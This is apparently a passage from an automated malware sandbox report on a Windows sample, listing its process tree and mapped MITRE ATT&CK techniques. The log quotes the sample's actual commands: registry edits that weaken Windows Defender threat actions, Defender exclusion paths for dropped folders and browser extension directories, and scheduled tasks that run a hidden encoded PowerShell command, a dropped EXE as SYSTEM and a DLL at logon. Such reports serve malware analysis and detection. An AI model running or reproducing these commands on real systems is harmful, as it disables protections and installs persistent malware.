    PID:2976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3928
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4720
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2256
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4820
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3584
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3796
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2632
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1752
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2008
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:872
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4788
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2292
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4992
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4684
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NVRHnqqYuoKU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NVRHnqqYuoKU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PxtQEfdrU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PxtQEfdrU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\anbFGpaSVIJEC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\anbFGpaSVIJEC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wbWGHgMzMEUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wbWGHgMzMEUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\GpoJrohhsQtRLIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\GpoJrohhsQtRLIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WVcQpKJMvymSgqJu\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WVcQpKJMvymSgqJu\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:4248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1616
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4720
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NVRHnqqYuoKU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3932
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NVRHnqqYuoKU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PxtQEfdrU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2284
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PxtQEfdrU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\anbFGpaSVIJEC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\anbFGpaSVIJEC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1376
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wbWGHgMzMEUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wbWGHgMzMEUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\GpoJrohhsQtRLIVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2008
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\GpoJrohhsQtRLIVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4884
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1256
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WVcQpKJMvymSgqJu /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WVcQpKJMvymSgqJu /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2916
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ggNYBrcgo" /SC once /ST 17:15:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4392
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "ggNYBrcgo"
  2⤵
  PID:5052
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ggNYBrcgo"
  2⤵
  PID:1068
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "uaXipkbyxrnNFDdtl" /SC once /ST 13:32:55 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WVcQpKJMvymSgqJu\MUUrhclBcrYRTMx\VFQPnVd.exe\" ix /gWsite_idvoP 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:3988
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "uaXipkbyxrnNFDdtl"
  2⤵
  PID:2244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3748

C:\Windows\Temp\WVcQpKJMvymSgqJu\MUUrhclBcrYRTMx\VFQPnVd.exe
C:\Windows\Temp\WVcQpKJMvymSgqJu\MUUrhclBcrYRTMx\VFQPnVd.exe ix /gWsite_idvoP 385118 /S
1⤵
PID:1848
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bFvsKFifcttmubYYTU"
  2⤵
  PID:4680
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:4188
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:1008
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:3584
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:2632
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\PxtQEfdrU\ofVHUD.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "PhOAIbnrVHbfAsF" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:4648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery